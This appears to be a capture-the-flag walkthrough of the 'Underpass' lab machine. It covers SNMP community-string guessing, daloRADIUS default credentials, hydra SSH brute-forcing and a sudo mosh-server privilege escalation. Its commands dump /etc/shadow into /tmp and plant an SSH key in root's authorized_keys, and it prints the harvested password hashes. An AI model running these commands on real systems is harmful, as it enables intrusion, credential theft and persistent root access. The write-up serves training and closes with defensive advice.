
Box Info
Box Name: Underpass
Listed Difficulty Rating: Easy
chasepd’s Difficulty Rating: Easy
Release Date: 2024
Tech Stack: SNMP, Daloradius, Mosh
Skills Learned: SNMP enumeration, open-source software recon, mosh, sudo abuse
Recon
To start, add some hostnames to /etc/hosts/
to make referencing the box easier. I always add boxname
as well as boxname.htb
to start with.
Next, we run an nmap scan to get some basic intel on the machine.
└─$ nmap -oN nmapscan -T4 -p- -A underpass.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-23 15:51 MDT
Nmap scan report for underpass (10.129.231.213)
Host is up (0.066s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_ 256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 554/tcp)
HOP RTT ADDRESS
1 67.71 ms 10.10.14.1
2 68.04 ms underpass (10.129.231.213)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.17 seconds
We can see that there’s a web host but it’s only serving a default web page: http-title: Apache2 Ubuntu Default Page: It works
. Given that there’s nothing else but an SSH server on the host, we have four options for proceeding further:
- Run web enumeration and see if there’s anything hiding on the web server
- Look for a vulnerability in the Apache version
- Look for a vulnerability in the SSH server
- Scan UDP ports and see if there are any other services running on UDP
Some quick searchsploit
searches show us there aren’t any published exploits for the Apache or SSH server versions, at least:
└─$ searchsploit apache 2.4
--------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner | php/remote/29316.py
Apache 2.2.4 - 413 Error HTTP Request Method Cross-Site Scripting | unix/remote/30835.sh
Apache 2.4.17 - Denial of Service | windows/dos/39037.php
Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalation | linux/local/46676.php
Apache 2.4.23 mod_http2 - Denial of Service | linux/dos/40909.py
Apache 2.4.7 + PHP 7.0.2 - 'openssl_seal()' Uninitialized Memory Code Execution | php/remote/40142.php
Apache 2.4.7 mod_status - Scoreboard Handling Race Condition | linux/dos/34133.txt
Apache 2.4.x - Buffer Overflow | multiple/webapps/51193.py
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak | linux/webapps/42745.py
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service | multiple/dos/26710.txt
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE) | multiple/webapps/50383.sh
Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE) | multiple/webapps/50406.sh
Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (2) | multiple/webapps/50446.sh
Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3) | multiple/webapps/50512.py
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1) | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) | unix/remote/47080.c
Apache OpenMeetings 1.9.x < 3.1.0 - '.ZIP' File Directory Traversal | linux/webapps/39642.txt
Apache Shiro 1.2.4 - Cookie RememberME Deserial RCE (Metasploit) | multiple/remote/48410.rb
Apache Tomcat 3.2.3/3.2.4 - 'RealPath.jsp' Information Disclosuree | multiple/remote/21492.txt
Apache Tomcat 3.2.3/3.2.4 - 'Source.jsp' Information Disclosure | multiple/remote/21490.txt
Apache Tomcat 3.2.3/3.2.4 - Example Files Web Root Full Path Disclosure | multiple/remote/21491.txt
Apache Tomcat < 5.5.17 - Remote Directory Listing | multiple/remote/2061.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal | unix/remote/14489.c
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC) | multiple/remote/6229.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (1) | windows/webapps/42953.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2) | jsp/webapps/42966.py
Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC) | linux/dos/36906.txt
Webfroot Shoutbox < 2.32 (Apache) - Local File Inclusion / Remote Code Execution | linux/remote/34.pl
--------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
└─$ searchsploit openssh 8.9
Exploits: No Results
Shellcodes: No Results
That doesn’t necessarily mean there isn’t a vulnerability there, but it seems like a dead end, especially when there are other avenues to explore. Let’s try web enumeration next. We can scan for files as well as possible hidden subdomains at the same time.
Interestingly, neither of them give us much to work with:
└─$ gobuster dir -u http://underpass.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://underpass.htb/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/server-status (Status: 403) [Size: 278]
Progress: 220559 / 220560 (100.00%)
===============================================================
Finished
===============================================================
└─$ gobuster dir -u http://underpass.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -x html,php -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://underpass.htb/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd.html (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/.htaccess.html (Status: 403) [Size: 278]
/.htaccess.php (Status: 403) [Size: 278]
/.htpasswd.php (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/index.html (Status: 200) [Size: 10671]
/server-status (Status: 403) [Size: 278]
Progress: 61434 / 61437 (100.00%)
===============================================================
Finished
===============================================================
└─$ gobuster vhost --append-domain -u http://underpass.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://underpass.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 19966 / 19967 (99.99%)
===============================================================
Finished
===============================================================
Guess it’s time to try UDP?
Sure enough:
# Nmap 7.95 scan initiated Mon Jun 23 16:23:28 2025 as: /usr/lib/nmap/nmap --privileged -oN udpscan -sU -vvv underpass
Increasing send delay for 10.129.231.213 from 50 to 100 due to 11 out of 15 dropped probes since last increase.
Increasing send delay for 10.129.231.213 from 100 to 200 due to 11 out of 15 dropped probes since last increase.
Increasing send delay for 10.129.231.213 from 200 to 400 due to 11 out of 14 dropped probes since last increase.
Increasing send delay for 10.129.231.213 from 400 to 800 due to 11 out of 19 dropped probes since last increase.
Nmap scan report for underpass (10.129.231.213)
Host is up, received reset ttl 63 (0.065s latency).
Scanned at 2025-06-23 16:23:28 MDT for 1253s
Not shown: 996 closed udp ports (port-unreach)
PORT STATE SERVICE REASON
68/udp open|filtered dhcpc no-response
161/udp open snmp udp-response ttl 63
1812/udp open|filtered radius no-response
1813/udp open|filtered radacct no-response
Read data files from: /usr/share/nmap
# Nmap done at Mon Jun 23 16:44:21 2025 -- 1 IP address (1 host up) scanned in 1252.87 seconds
Foothold
Using a python script we can enumerate SNMP:
import asyncio
from pysnmp.hlapi.v3arch.asyncio import (
SnmpEngine, CommunityData, UdpTransportTarget, ContextData,
ObjectType, ObjectIdentity, walk_cmd
)
### SNMP Enumeration Script for Hack the Box
HOST = "underpass.htb"
PORT = 161
# List of interesting OID roots to walk
OID_ROOTS = [
("System", "1.3.6.1.2.1.1"),
("Interfaces", "1.3.6.1.2.1.2"),
("IP", "1.3.6.1.2.1.4"),
("TCP", "1.3.6.1.2.1.6"),
("UDP", "1.3.6.1.2.1.7"),
("Host Resources", "1.3.6.1.2.1.25.1")
]
async def snmp_walk(community_string, oid, label=None):
transport = await UdpTransportTarget.create((HOST, PORT))
found_any = False
if label:
print(f"\n--- {label} ({oid}) ---")
async for (errorIndication, errorStatus, errorIndex, varBinds) in walk_cmd(
SnmpEngine(),
CommunityData(community_string, mpModel=0), # SNMPv1
transport,
ContextData(),
ObjectType(ObjectIdentity(oid)),
):
if errorIndication:
print(f"Error: {errorIndication}")
break
elif errorStatus:
print(f"Error: {errorStatus.prettyPrint()} at {errorIndex and varBinds[int(errorIndex) - 1][0] or '?'}")
break
else:
for varBind in varBinds:
print(f"{varBind[0]} = {varBind[1]}")
found_any = True
if not found_any:
print("No results or access denied.")
return found_any
async def main():
print(f"Enumerating SNMP on {HOST}:{PORT}")
community_strings = [
"public",
"private",
"manager",
"admin",
"root",
"snmp",
"snmpwalk",
"snmpwalk2",
]
valid_communities = []
for community in community_strings:
print(f"Trying community string: {community}")
if await snmp_walk(community, "1.3.6.1.2.1.1", label="System (Test)"):
print(f"\nFound valid community string: {community}\n")
valid_communities.append(community)
else:
print(f"Community string {community} is not valid.")
if not valid_communities:
print("No valid community strings found.")
return
for community in valid_communities:
print(f"\n===== Enumerating data for community string: {community} =====")
for label, oid in OID_ROOTS:
if oid == "1.3.6.1.2.1.1": # Skip System, already done
continue
await snmp_walk(community, oid, label=label)
if __name__ == "__main__":
asyncio.run(main())
└─$ python snmp-explore.py
Enumerating SNMP on underpass.htb:161
Trying community string: public
--- System (Test) (1.3.6.1.2.1.1) ---
1.3.6.1.2.1.1.1.0 = Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
1.3.6.1.2.1.1.2.0 = 1.3.6.1.4.1.8072.3.2.10
1.3.6.1.2.1.1.3.0 = 450000
1.3.6.1.2.1.1.4.0 = steve@underpass.htb
1.3.6.1.2.1.1.5.0 = UnDerPass.htb is the only daloradius server in the basin!
1.3.6.1.2.1.1.6.0 = Nevada, U.S.A. but not Vegas
1.3.6.1.2.1.1.7.0 = 72
1.3.6.1.2.1.1.8.0 = 1
1.3.6.1.2.1.1.9.1.2.1 = 1.3.6.1.6.3.10.3.1.1
1.3.6.1.2.1.1.9.1.2.2 = 1.3.6.1.6.3.11.3.1.1
1.3.6.1.2.1.1.9.1.2.3 = 1.3.6.1.6.3.15.2.1.1
1.3.6.1.2.1.1.9.1.2.4 = 1.3.6.1.6.3.1
1.3.6.1.2.1.1.9.1.2.5 = 1.3.6.1.6.3.16.2.2.1
1.3.6.1.2.1.1.9.1.2.6 = 1.3.6.1.2.1.49
1.3.6.1.2.1.1.9.1.2.7 = 1.3.6.1.2.1.50
1.3.6.1.2.1.1.9.1.2.8 = 1.3.6.1.2.1.4
1.3.6.1.2.1.1.9.1.2.9 = 1.3.6.1.6.3.13.3.1.3
1.3.6.1.2.1.1.9.1.2.10 = 1.3.6.1.2.1.92
1.3.6.1.2.1.1.9.1.3.1 = The SNMP Management Architecture MIB.
1.3.6.1.2.1.1.9.1.3.2 = The MIB for Message Processing and Dispatching.
1.3.6.1.2.1.1.9.1.3.3 = The management information definitions for the SNMP User-based Security Model.
1.3.6.1.2.1.1.9.1.3.4 = The MIB module for SNMPv2 entities
1.3.6.1.2.1.1.9.1.3.5 = View-based Access Control Model for SNMP.
1.3.6.1.2.1.1.9.1.3.6 = The MIB module for managing TCP implementations
1.3.6.1.2.1.1.9.1.3.7 = The MIB module for managing UDP implementations
1.3.6.1.2.1.1.9.1.3.8 = The MIB module for managing IP and ICMP implementations
1.3.6.1.2.1.1.9.1.3.9 = The MIB modules for managing SNMP Notification, plus filtering.
1.3.6.1.2.1.1.9.1.3.10 = The MIB module for logging SNMP Notifications.
1.3.6.1.2.1.1.9.1.4.1 = 1
1.3.6.1.2.1.1.9.1.4.2 = 1
1.3.6.1.2.1.1.9.1.4.3 = 1
1.3.6.1.2.1.1.9.1.4.4 = 1
1.3.6.1.2.1.1.9.1.4.5 = 1
1.3.6.1.2.1.1.9.1.4.6 = 1
1.3.6.1.2.1.1.9.1.4.7 = 1
1.3.6.1.2.1.1.9.1.4.8 = 1
1.3.6.1.2.1.1.9.1.4.9 = 1
1.3.6.1.2.1.1.9.1.4.10 = 1
1.3.6.1.2.1.25.1.1.0 = 452067
1.3.6.1.2.1.25.1.2.0 = é+
1.3.6.1.2.1.25.1.3.0 = 393216
1.3.6.1.2.1.25.1.4.0 = BOOT_IMAGE=/vmlinuz-5.15.0-126-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
1.3.6.1.2.1.25.1.5.0 = 0
1.3.6.1.2.1.25.1.6.0 = 217
1.3.6.1.2.1.25.1.7.0 = 0
Found valid community string: public
Trying community string: private
--- System (Test) (1.3.6.1.2.1.1) ---
Error: No SNMP response received before timeout
No results or access denied.
Community string private is not valid.
Trying community string: manager
--- System (Test) (1.3.6.1.2.1.1) ---
Error: No SNMP response received before timeout
No results or access denied.
Community string manager is not valid.
Trying community string: admin
--- System (Test) (1.3.6.1.2.1.1) ---
Error: No SNMP response received before timeout
No results or access denied.
Community string admin is not valid.
Trying community string: root
--- System (Test) (1.3.6.1.2.1.1) ---
Error: No SNMP response received before timeout
No results or access denied.
Community string root is not valid.
Trying community string: snmp
--- System (Test) (1.3.6.1.2.1.1) ---
Error: No SNMP response received before timeout
No results or access denied.
Community string snmp is not valid.
Trying community string: snmpwalk
--- System (Test) (1.3.6.1.2.1.1) ---
Error: No SNMP response received before timeout
No results or access denied.
Community string snmpwalk is not valid.
Trying community string: snmpwalk2
--- System (Test) (1.3.6.1.2.1.1) ---
Error: No SNMP response received before timeout
No results or access denied.
Community string snmpwalk2 is not valid.
===== Enumerating data for community string: public =====
--- Interfaces (1.3.6.1.2.1.2) ---
Error: No SNMP response received before timeout
No results or access denied.
--- IP (1.3.6.1.2.1.4) ---
1.3.6.1.2.1.25.1.1.0 = 457304
1.3.6.1.2.1.25.1.2.0 = é+
1.3.6.1.2.1.25.1.3.0 = 393216
1.3.6.1.2.1.25.1.4.0 = BOOT_IMAGE=/vmlinuz-5.15.0-126-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
1.3.6.1.2.1.25.1.5.0 = 0
1.3.6.1.2.1.25.1.6.0 = 217
1.3.6.1.2.1.25.1.7.0 = 0
--- TCP (1.3.6.1.2.1.6) ---
1.3.6.1.2.1.25.1.1.0 = 457364
1.3.6.1.2.1.25.1.2.0 = é+
1.3.6.1.2.1.25.1.3.0 = 393216
1.3.6.1.2.1.25.1.4.0 = BOOT_IMAGE=/vmlinuz-5.15.0-126-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
1.3.6.1.2.1.25.1.5.0 = 0
1.3.6.1.2.1.25.1.6.0 = 217
1.3.6.1.2.1.25.1.7.0 = 0
--- UDP (1.3.6.1.2.1.7) ---
1.3.6.1.2.1.25.1.1.0 = 457436
1.3.6.1.2.1.25.1.2.0 = é+
1.3.6.1.2.1.25.1.3.0 = 393216
1.3.6.1.2.1.25.1.4.0 = BOOT_IMAGE=/vmlinuz-5.15.0-126-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
1.3.6.1.2.1.25.1.5.0 = 0
1.3.6.1.2.1.25.1.6.0 = 217
1.3.6.1.2.1.25.1.7.0 = 0
--- Host Resources (1.3.6.1.2.1.25.1) ---
1.3.6.1.2.1.25.1.1.0 = 457691
1.3.6.1.2.1.25.1.2.0 = é+
1.3.6.1.2.1.25.1.3.0 = 393216
1.3.6.1.2.1.25.1.4.0 = BOOT_IMAGE=/vmlinuz-5.15.0-126-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
1.3.6.1.2.1.25.1.5.0 = 0
1.3.6.1.2.1.25.1.6.0 = 217
1.3.6.1.2.1.25.1.7.0 = 0
Interesting - we now have a username: steve
. We also know there is a daloradius server running.
http://underpass.htb/daloradius/
returns a 403, but now we have a new directory to enumerate. Checking out our findings from a quick scan from dirsearch, http://underpass.htb/daloradius/ChangeLog
gives us a version number - 1.1-3.
http://underpass.htb/daloradius/.gitignore
gives us some interesting file paths:
.idea/
*.log
*.db
invoice_preview.html
.DS_Store
data/
internal_data/
var/log/*.log
var/backup/*.sql
app/common/includes/daloradius.conf.php
app/common/library/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer/HTML/*
At http://underpass.htb/daloradius/docker-compose.yml
we strike gold:
version: "3"
services:
radius-mysql:
image: mariadb:10
container_name: radius-mysql
restart: unless-stopped
environment:
- MYSQL_DATABASE=radius
- MYSQL_USER=radius
- MYSQL_PASSWORD=radiusdbpw
- MYSQL_ROOT_PASSWORD=radiusrootdbpw
volumes:
- "./data/mysql:/var/lib/mysql"
radius:
container_name: radius
build:
context: .
dockerfile: Dockerfile-freeradius
restart: unless-stopped
depends_on:
- radius-mysql
ports:
- '1812:1812/udp'
- '1813:1813/udp'
environment:
- MYSQL_HOST=radius-mysql
- MYSQL_PORT=3306
- MYSQL_DATABASE=radius
- MYSQL_USER=radius
- MYSQL_PASSWORD=radiusdbpw
# Optional settings
- DEFAULT_CLIENT_SECRET=testing123
volumes:
- ./data/freeradius:/data
# If you want to disable debug output, remove the command parameter
command: -X
radius-web:
build: .
container_name: radius-web
restart: unless-stopped
depends_on:
- radius
- radius-mysql
ports:
- '80:80'
- '8000:8000'
environment:
- MYSQL_HOST=radius-mysql
- MYSQL_PORT=3306
- MYSQL_DATABASE=radius
- MYSQL_USER=radius
- MYSQL_PASSWORD=radiusdbpw
# Optional Settings:
- DEFAULT_CLIENT_SECRET=testing123
- DEFAULT_FREERADIUS_SERVER=radius
- MAIL_SMTPADDR=127.0.0.1
- MAIL_PORT=25
- MAIL_FROM=root@daloradius.xdsl.by
- MAIL_AUTH=
volumes:
- ./data/daloradius:/data
We also find a login page at http://underpass.htb/daloradius/app/users/login.php
. With some searching we can find that the default creds for daloradius are administrator:radius
but these don’t seem to work.
However, after firing up a local instance of this and poking around, I found that there is a separate login page for admin users: http://underpass.htb/daloradius/app/operators/login.php
. The default credentials work here!

In the config section of the admin site we find more database creds:

Even juicer we see a password hash for a user on the Management page:

Using crackstation.net reveals this cracks to underwaterfriends
, and trying this with hydra gives us a foothold on the box:
└─$ hydra -L users -P pass ssh://underpass
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-23 17:53:45
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 20 login tries (l:4/p:5), ~2 tries per task
[DATA] attacking ssh://underpass:22/
[22][ssh] host: underpass login: svcMosh password: underwaterfriends
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-23 17:53:51
and can now get user.txt
└─$ ssh svcMosh@underpass
svcMosh@underpass's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Mon Jun 23 11:56:39 PM UTC 2025
System load: 0.09 Processes: 232
Usage of /: 52.7% of 6.56GB Users logged in: 0
Memory usage: 16% IPv4 address for eth0: 10.129.231.213
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Jan 11 13:27:33 2025 from 10.10.14.62
svcMosh@underpass:~$ ll
total 36
drwxr-x--- 5 svcMosh svcMosh 4096 Jan 11 13:27 ./
drwxr-xr-x 3 root root 4096 Dec 11 2024 ../
lrwxrwxrwx 1 root root 9 Sep 22 2024 .bash_history -> /dev/null
-rw-r--r-- 1 svcMosh svcMosh 220 Sep 7 2024 .bash_logout
-rw-r--r-- 1 svcMosh svcMosh 3771 Sep 7 2024 .bashrc
drwx------ 2 svcMosh svcMosh 4096 Dec 11 2024 .cache/
drwxrwxr-x 3 svcMosh svcMosh 4096 Jan 11 13:27 .local/
-rw-r--r-- 1 svcMosh svcMosh 807 Sep 7 2024 .profile
drwxr-xr-x 2 svcMosh svcMosh 4096 Dec 11 2024 .ssh/
-rw-r----- 1 root svcMosh 33 Jun 23 21:49 user.txt
svcMosh@underpass:~$ cat user.txt
50df3553e04f627ecxxxxxxxxxxxxxxx
Getting Root
Doing a first-step enum shows we can run sudo
:
svcMosh@underpass:~$ sudo -l
Matching Defaults entries for svcMosh on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svcMosh may run the following commands on localhost:
(ALL) NOPASSWD: /usr/bin/mosh-server
After a bit of research - mosh-server is intended to sync up with mosh-client. It’s intended to be an ssh alternative especially for high latency servers. A quick glance in the man file also tells us that it can be programmed to run a command when triggered.
In other words, we’ve got our privesc path. We can craft a privileged command to run when we connect to the server:
svcMosh@underpass:~$ sudo /usr/bin/mosh-server new -p 1337 -- sh -c 'cat /etc/shadow > /tmp/shadowdump && chmod 644 /tmp/shadowdump'
MOSH CONNECT 1337 j+kvuhgaEXpBr5A3xlVXYQ
mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
[mosh-server detached, pid = 4081]
With mosh-client installed on our attacker machine, we can now use the key provided by the server to connect and execute the payload.
└─$ MOSH_KEY='j+kvuhgaEXpBr5A3xlVXYQ' mosh-client 10.129.231.213 1337
[mosh is exiting.]
Checking /tmp:
svcMosh@underpass:~$ cat /tmp/shadowdump
root:$y$j9T$y6GVl9yuguP9lhnKmS04c.$pzmkCXRNa/BCrMpnOUxIWUbVR905YSEHwW20O40wEaA:20057:0:99999:7:::
daemon:*:19103:0:99999:7:::
bin:*:19103:0:99999:7:::
sys:*:19103:0:99999:7:::
sync:*:19103:0:99999:7:::
games:*:19103:0:99999:7:::
man:*:19103:0:99999:7:::
lp:*:19103:0:99999:7:::
mail:*:19103:0:99999:7:::
news:*:19103:0:99999:7:::
uucp:*:19103:0:99999:7:::
proxy:*:19103:0:99999:7:::
www-data:*:19103:0:99999:7:::
backup:*:19103:0:99999:7:::
list:*:19103:0:99999:7:::
irc:*:19103:0:99999:7:::
gnats:*:19103:0:99999:7:::
nobody:*:19103:0:99999:7:::
_apt:*:19103:0:99999:7:::
systemd-network:*:19103:0:99999:7:::
systemd-resolve:*:19103:0:99999:7:::
messagebus:*:19103:0:99999:7:::
systemd-timesync:*:19103:0:99999:7:::
pollinate:*:19103:0:99999:7:::
sshd:*:19103:0:99999:7:::
syslog:*:19103:0:99999:7:::
uuidd:*:19103:0:99999:7:::
tcpdump:*:19103:0:99999:7:::
tss:*:19103:0:99999:7:::
landscape:*:19103:0:99999:7:::
usbmux:*:19949:0:99999:7:::
lxd:!:19949::::::
fwupd-refresh:*:19959:0:99999:7:::
freerad:*:19963:0:99999:7:::
mysql:!:19964:0:99999:7:::
Debian-snmp:!:19964:0:99999:7:::
tftp:*:19970:0:99999:7:::
svcMosh:$y$j9T$cK5jfCW.c6g5yvOzPF5iF1$E0geEsKPdNSCLj2wVbvftMGkbs.uJL7B0ADA41Q8Y08:20067:0:99999:7:::
_laurel:!:20068::::::
We can now do anything as root. Let’s write our ssh key into root’s authorized_keys files so we can get SSH access:
sudo /usr/bin/mosh-server new -p 1337 -- sh -c 'mkdir -p /root/.ssh && echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBvuBDwumAevSydWICpgT28gq8GgoYklpQ4YqDb54uLs" > /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys && chmod 700 /root/.ssh'
The permission changes are to make sure that the permissions on the directory and authorized_keys files are adequately protected; otherwise SSH won’t use them.
And we’re root:
└─$ ssh root@underpass
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue Jun 24 03:06:46 AM UTC 2025
System load: 0.02 Processes: 228
Usage of /: 54.1% of 6.56GB Users logged in: 1
Memory usage: 15% IPv4 address for eth0: 10.129.231.213
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Jan 8 16:29:58 2025
root@underpass:~# cat /root/root.txt
4886c9afa327d2714xxxxxxxxxxxxxxx
root@underpass:~#
Closing the Vulnerability
- When designing software, never include default credentials. Always have the user set their own credentials where possible.
- On systems that do use default credentials, change the password immediately after logging in for the first time.
- Don’t display user passwords or password hashes to other users (seriously, daloradius???)
- Be careful about giving users sudo permissions
Key Penetration Testing Takeaways
- Sometimes, a UDP scan isn’t completely useless.
- Enumerate harder.
- Running a local copy of an open source piece of software can be helpful to find exploit paths.
- Sudo is your friend.